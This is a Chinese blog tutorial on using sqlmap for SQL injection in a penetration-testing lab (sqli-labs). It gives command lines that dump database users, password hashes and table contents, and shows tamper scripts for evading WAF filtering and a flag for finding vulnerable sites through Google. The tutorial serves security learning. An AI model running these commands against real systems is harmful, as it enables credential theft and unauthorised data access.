zoukankan      html  css  js  c++  java
  • 渗透测试---SQL注入~SQLmap工具基本实用

    Pangolin(穿山甲)

    SQLmap

    需要在python27的环境下运行。

    打开sqlmap命令行,如果python27没有装在环境变量中,需要先敲python调用,再输入sqlmap命令。

    常用命令:

    1.判断当前用户是否是dba:
    python sqlmap.py -u "url" --is-dba

    2.--users:列出数据库管理系统用户:
    python sqlmap.py -u "url" --users

    3.--passwords:数据库用户密码(hash)
    python sqlmap.py -u "url" --passwords
    python sqlmap.py -u "url" --passwords -U sa

    4.查看用户权限
    python sqlmap.py -u "url" --privileges
    python sqlmap.py -u "url" --privileges -U postgres

    5.--dbs可以利用的数据库
    python sqlmap.py -u "url" --dbs

    6.--tables列数据库表
    python sqlmap.py -u "url" --tables -D "db_name"
    -D:指定数据库名称

    7.--columns查看列名
    python sqlmap.py -u "url" --columns -T "table_name" -D "db_name"

    8.--dump -C "column1_name,column2_name,column3_name" 查询字段数据
    python sqlmap.py -u "url" --dump -C "column1_name,column2_name" -T "table_name" -D "db_name"

    实战演示:

    get型:

    以sql-labs中的Less 1为例。

    在sqlmap命令行输入

    sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1"

    回车执行,其中会有很多数据交互。

    执行完成后可以看到哪里存在漏洞,sqlmap跑的时候所运用的注入类型及语句,还有输出结果的保存位置。

    当下次测相同url时,会直接读取之前保存的输出结果,如果想要看过程,可以去保存位置删除之前的输出结果。

    爆数据库,输入:

    sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" --dbs

    爆表,例如指定数据库为dvwa,输入

    sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" -D dvwa --tables

    爆字段,例如指定数据库为dvwa,指定表为users,输入

    sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" -D dvwa -T users --columns

    爆内容,例如指定数据库为dvwa,指定表为users,指定字段为user和password,输入

    sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" -D dvwa -T users -C user,password --dump

    post型:

    以sql-labs中的Less 18为例。

    使用burpsuite代理抓包并且关闭拦截,在本关随便输入一组用户名和密码,点击提交后在burpsuite的历史记录中找到请求的数据包,将post传递的参数复制。

    在sqlmap命令行输入

    sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-18/" --data "uname=admin&passwd=password&submit=Submit"

    回车执行。

    类似:

    • cookie注入时,抓包复制cookie值,--cookie "cookie值"即可,适用于Web应用需要登录的时候,直接抓包获取cookie值,cookie中含有登录态信息。
    • user-agent注入时,抓包复制user-agent值,--user-agent "user-agent值"即可。
    • risk和level参数都有4个级别,级别越高测试的范围越大,例如可以包括数据头部注入,以及使用or等函数进行注入,导致可能会修改原有数据库的数据。
    • 如果知道大概是什么注入类型,可以使用--technique来指定注入类型。
    • 暴力破解Access数据库时有可能跑不出表和密码,可以使用--common-tables和--common-columns来指定字典进行爆破,不指定的话默认使用sqlmap自带字典。
    • -g可以使用Google搜索引擎在互联网上搜索具有相同类型漏洞的站点。
    • --prefix可以在命令中添加注入时用到的前缀。
    • --suffix可以在命令中添加注入时用到的后缀。例如使用AND ('1'='1进行闭合,这样执行后就会变成AND ('1'='1')。
    • --time-sec可以设定延迟注入的时间。
    • --tamper可以修改注入数据,通过调用写好的脚本绕过waf的过滤,利用脚本中将and替换为anandd,即可以使用双写绕过and的过滤。
    • tamper详解链接:https://www.freebuf.com/sectool/179035.html
    • 脚本开头都设有优先级函数,如果--tamper调用了多个脚本,会根据优先级,执行优先级最高的脚本,如果要调用的脚本都生效,可以将调用的脚本改为相同优先级。

  • 相关阅读:
    [C#]生成缩略图
    [C#]原来DataTable的Distinct竟如此简单!
    [C#] UTF8 ENCODING=QUOTEDPRINTABLE 的解码和编码
    ASP.NET将文件写到另一服务器
    生成machineKey密钥
    Docx转Doc操作(c#)
    Linq学习知识摘记
    HTTP 状态代码
    文件与流相关code
    Web文件的ContentType类型大全
  • 原文地址:https://www.cnblogs.com/123456ZJJ/p/12856615.html
Copyright © 2011-2022 走看看